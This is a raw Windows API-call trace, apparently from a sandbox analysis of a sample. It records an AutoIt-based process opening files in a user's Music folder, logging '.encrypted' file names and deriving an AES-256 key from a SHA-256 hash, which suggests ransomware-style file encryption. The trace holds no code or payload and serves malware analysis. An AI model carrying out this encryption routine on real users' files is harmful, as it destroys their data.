[0027.318] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.318] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.318] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1c86, lpOverlapped=0x0) returned 1 [0027.319] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.319] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1c86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.319] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7302) returned 1 [0027.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.encrypted.mp3\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0027.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.encrypted.mp3\r\n", cchWideChar=72, lpMultiByteStr=0xe8f4051b80, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 72 [0027.319] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a310*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x47, lpOverlapped=0x0) returned 1 [0027.319] CloseHandle (hObject=0x188) returned 1 [0027.320] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.320] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.320] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.320] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.320] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.320] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.320] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.321] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.321] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.322] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.322] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0027.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.wav", cchWideChar=65, lpMultiByteStr=0xe8f40514a0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.wav", lpUsedDefaultChar=0x0) returned 65 [0027.322] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\okf4yowsz-apdzsj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0027.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0xe8f40681e0, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.wav") returned 65 [0027.323] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.323] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.323] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.323] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.324] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.324] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.324] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.324] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.324] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.325] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.325] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.326] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.326] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.326] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.326] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.326] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.326] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.327] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.327] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b990, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.327] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.327] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.327] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.327] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.327] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.327] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0027.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.329] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\okf4yowsz-apdzsj.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 